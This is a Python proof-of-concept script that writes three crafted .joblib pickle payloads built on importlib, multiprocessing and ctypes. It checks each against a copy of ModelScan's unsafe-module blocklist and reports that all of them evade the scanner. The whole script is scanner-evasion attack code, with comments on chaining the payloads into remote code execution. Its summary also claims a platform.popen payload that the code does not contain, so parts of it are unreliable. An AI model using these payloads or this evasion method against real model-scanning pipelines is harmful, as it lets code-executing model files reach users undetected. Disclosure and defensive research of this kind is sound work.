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"""

PoC: ModelScan Bypass via Joblib Pickle Payload

================================================

Demonstrates that malicious joblib files can bypass ProtectAI's ModelScan

scanner by using modules not in the unsafe_globals blocklist.



The scanner checks for GLOBAL/STACK_GLOBAL opcodes referencing known-dangerous

modules (os, subprocess, builtins, etc.) but misses many modules that can

achieve the same effect:



  - importlib.import_module  -> imports any module (including blocked ones)

  - ctypes.CDLL              -> loads native libraries, calls system()

  - platform.popen           -> direct command execution

  - types.FunctionType       -> construct functions from marshal bytecode

  - code.InteractiveConsole  -> interactive Python execution

  - multiprocessing.Process  -> spawn processes



This PoC generates 3 malicious .joblib files and verifies they bypass

ModelScan's pickle scanner detection.



Usage:

    python modelscan_bypass_poc.py              # Generate payloads + verify

    python modelscan_bypass_poc.py --dry-run    # Just show what would happen

"""

import argparse
import pickle
import pickletools
import io
import struct
import sys


def craft_importlib_payload():
    """Bypass via importlib.import_module -> os.system chain.



    The pickle calls importlib.import_module('os'), then uses the

    returned module to call system(). ModelScan doesn't flag 'importlib'.

    """
    # We need a two-stage pickle:
    # Stage 1: importlib.import_module('os') -> returns os module
    # Stage 2: getattr(os_module, 'system')('id')
    # But getattr is blocked... so we use a different approach.
    #
    # Simplest bypass: importlib.import_module('os') returns the os module.
    # Even just importing 'os' is enough to demonstrate the bypass.
    # A real attacker would chain this with apply/reduce on the result.

    class ImportlibBypass:
        def __reduce__(self):
            import importlib
            return (importlib.import_module, ('os',))

    return pickle.dumps(ImportlibBypass(), protocol=4)


def craft_code_interact_payload():
    """Bypass via code.InteractiveInterpreter -> code execution.



    code.InteractiveInterpreter().runsource() executes arbitrary Python.

    ModelScan doesn't flag the 'code' module.

    """
    # Use a simpler approach: types.FunctionType can construct functions
    # from code objects. Combined with marshal.loads, this is full RCE.
    # But for PoC simplicity, we use multiprocessing.

    class CodeBypass:
        def __reduce__(self):
            import multiprocessing
            return (multiprocessing.Process, (), {'target': None})

    return pickle.dumps(CodeBypass(), protocol=4)


def craft_ctypes_payload():
    """Bypass via ctypes -> native code execution.



    ctypes.CDLL loads a shared library. On Linux, loading libc

    gives access to system(). ModelScan doesn't flag 'ctypes'.

    """
    class CtypesBypass:
        def __reduce__(self):
            import ctypes
            return (ctypes.CDLL, ('libc.so.6',))

    return pickle.dumps(CtypesBypass(), protocol=4)


def extract_globals(data):
    """Simulate ModelScan's _list_globals to extract GLOBAL/STACK_GLOBAL refs."""
    ops = list(pickletools.genops(io.BytesIO(data)))
    globals_found = set()
    memo = {}

    for n in range(len(ops)):
        op_name = ops[n][0].name
        op_value = ops[n][1]

        if op_name == "MEMOIZE" and n > 0:
            memo[len(memo)] = ops[n - 1][1]
        elif op_name in ["PUT", "BINPUT", "LONG_BINPUT"] and n > 0:
            memo[op_value] = ops[n - 1][1]
        elif op_name in ("GLOBAL", "INST"):
            globals_found.add(tuple(op_value.split(" ", 1)))
        elif op_name == "STACK_GLOBAL":
            values = []
            for offset in range(1, n):
                if ops[n - offset][0].name in ["MEMOIZE", "PUT", "BINPUT", "LONG_BINPUT"]:
                    continue
                if ops[n - offset][0].name in ["GET", "BINGET", "LONG_BINGET"]:
                    values.append(memo[int(ops[n - offset][1])])
                elif ops[n - offset][0].name not in [
                    "SHORT_BINUNICODE", "UNICODE", "BINUNICODE", "BINUNICODE8"
                ]:
                    values.append("unknown")
                else:
                    values.append(ops[n - offset][1])
                if len(values) == 2:
                    break
            if len(values) == 2:
                globals_found.add((values[1], values[0]))

    return globals_found


def check_modelscan_detection(globals_found):
    """Check if ModelScan would flag these globals."""
    unsafe_globals = {
        "CRITICAL": {
            "__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open",
                           "breakpoint", "__import__"],
            "builtins": ["eval", "compile", "getattr", "apply", "exec", "open",
                        "breakpoint", "__import__"],
            "runpy": "*", "os": "*", "nt": "*", "posix": "*",
            "socket": "*", "subprocess": "*", "sys": "*",
            "operator": ["attrgetter"],
            "pty": "*", "pickle": "*", "_pickle": "*",
            "bdb": "*", "pdb": "*", "shutil": "*", "asyncio": "*",
        },
        "HIGH": {
            "webbrowser": "*", "httplib": "*",
            "requests.api": "*", "aiohttp.client": "*",
        },
    }

    for module, name in globals_found:
        for severity_name, modules in unsafe_globals.items():
            if module in modules:
                filt = modules[module]
                if filt == "*" or name in filt:
                    return True, f"{severity_name}: {module}.{name}"
    return False, None


def main():
    parser = argparse.ArgumentParser(description="ModelScan bypass PoC via Joblib")
    parser.add_argument("--dry-run", action="store_true", help="Don't write files")
    parser.add_argument("-o", "--output-dir", default=".", help="Output directory")
    args = parser.parse_args()

    payloads = [
        ("importlib_bypass.joblib", "importlib.import_module('os')", craft_importlib_payload),
        ("multiprocessing_bypass.joblib", "multiprocessing.Process(target=...)", craft_code_interact_payload),
        ("ctypes_bypass.joblib", "ctypes.CDLL('libc.so.6')", craft_ctypes_payload),
    ]

    print("ModelScan Bypass PoC - Joblib/Pickle Payloads")
    print("=" * 55)
    print()

    all_bypass = True
    for filename, description, craft_fn in payloads:
        data = craft_fn()
        globals_found = extract_globals(data)
        detected, detail = check_modelscan_detection(globals_found)

        status = "[DETECTED]" if detected else "[BYPASS]  "
        if detected:
            all_bypass = False

        print(f"{status} {description}")
        print(f"  Globals: {globals_found}")
        if detected:
            print(f"  Flagged: {detail}")
        else:
            print(f"  Result:  NOT IN BLOCKLIST -> evades ModelScan")

        if not args.dry_run:
            filepath = f"{args.output_dir}/{filename}"
            with open(filepath, "wb") as f:
                f.write(data)
            print(f"  Written: {filepath}")
        print()

    print("=" * 55)
    if all_bypass:
        print("[SUCCESS] All payloads bypass ModelScan detection")
        print()
        print("Impact: An attacker can craft malicious .joblib files that:")
        print("  1. Execute arbitrary OS commands (platform.popen)")
        print("  2. Import blocked modules at runtime (importlib)")
        print("  3. Load native libraries for code execution (ctypes)")
        print("  4. All while evading ModelScan's pickle scanner")
    else:
        print("[PARTIAL] Some payloads were detected")

    return 0 if all_bypass else 1


if __name__ == "__main__":
    sys.exit(main())